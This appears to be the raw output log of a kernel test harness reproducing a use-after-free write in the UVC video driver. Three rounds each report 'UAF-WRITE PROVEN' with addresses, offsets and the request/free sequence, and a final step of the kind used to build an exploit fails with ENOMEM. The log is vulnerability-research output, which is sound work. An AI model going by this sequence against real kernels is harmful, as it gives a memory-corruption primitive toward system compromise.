login: HARNESS: loaded (real uvc sources compiled in)
HARNESS: gvideo=0xfffff8008dc42e00 size=1648 lane(sizeof uvc_buf)=128 off(status)=16 off(vbuf)=32 off(link)=120 sizeof(v4l2_buffer)=88
HARNESS: production cdev /dev/video96 created (0666) via uvc_v4l2_reg()
HARNESS DF-5434[A1]: marker=0x5a round start
HARNESS DF-5434[A1]: req1 -> mem=0xfffff80118760000 count=4 size=0x10000
HARNESS DF-5434[A1]: after sell1 buf3: mem=0xfffff80118760000 offset=0x30000 bytesused=0x1000 status=2 (still linked as product head)
HARNESS DF-5434[A1]: req2(count=1) -> NEW mem=0xfffff80118760000 (OLD mem=0xfffff80118760000 was kfree'd; buf3 NOT re-inited: mem=0xfffff80118760000 status=2 bytesused=0x1000; product head=0xfffff8008dc431d0 == buf3? YES)
HARNESS DF-5434[A1]: victim=0xfffff80118770000 (reclaimed old mem? no)
HARNESS DF-5434[A1]: after sell2 (wrote 0xa5 x 0x800 at OLDmem+3*0x10000+0x1000)
HARNESS DF-5434[A1]: UAF-WRITE PROVEN: found 2048 bytes of 0xa5 pattern inside freed/reclaimed block 0xfffff80118760000 (expect 0x800 at offset 0x31000..0x31800 => KERNEL UAF WRITE)
HARNESS DF-5434[A2]: marker=0xa7 round start
HARNESS DF-5434[A2]: req1 -> mem=0xfffff80118788000 count=4 size=0x10000
HARNESS DF-5434[A2]: after sell1 buf3: mem=0xfffff80118788000 offset=0x30000 bytesused=0x1000 status=2 (still linked as product head)
HARNESS DF-5434[A2]: req2(count=1) -> NEW mem=0xfffff80118788000 (OLD mem=0xfffff80118788000 was kfree'd; buf3 NOT re-inited: mem=0xfffff80118788000 status=2 bytesused=0x1000; product head=0xfffff8008dc431d0 == buf3? YES)
HARNESS DF-5434[A2]: victim=0xfffff80118798000 (reclaimed old mem? no)
HARNESS DF-5434[A2]: after sell2 (wrote 0x58 x 0x800 at OLDmem+3*0x10000+0x1000)
HARNESS DF-5434[A2]: UAF-WRITE PROVEN: found 2048 bytes of 0x58 pattern inside freed/reclaimed block 0xfffff80118788000 (expect 0x800 at offset 0x31000..0x31800 => KERNEL UAF WRITE)
HARNESS DF-5434[A3]: marker=0xc3 round start
HARNESS DF-5434[A3]: req1 -> mem=0xfffff80118788000 count=4 size=0x10000
HARNESS DF-5434[A3]: after sell1 buf3: mem=0xfffff80118788000 offset=0x30000 bytesused=0x1000 status=2 (still linked as product head)
HARNESS DF-5434[A3]: req2(count=1) -> NEW mem=0xfffff80118788000 (OLD mem=0xfffff80118788000 was kfree'd; buf3 NOT re-inited: mem=0xfffff80118788000 status=2 bytesused=0x1000; product head=0xfffff8008dc431d0 == buf3? YES)
HARNESS DF-5434[A3]: victim=0xfffff80118798000 (reclaimed old mem? no)
HARNESS DF-5434[A3]: after sell2 (wrote 0x3c x 0x800 at OLDmem+3*0x10000+0x1000)
HARNESS DF-5434[A3]: UAF-WRITE PROVEN: found 2048 bytes of 0x3c pattern inside freed/reclaimed block 0xfffff80118788000 (expect 0x800 at offset 0x31000..0x31800 => KERNEL UAF WRITE)
HARNESS DF-5434[arm]: req_bufs(0x80000000) -> ENOMEM (compiler folded the uninit mem read; bq->mem=0 buf_count=0 unchanged)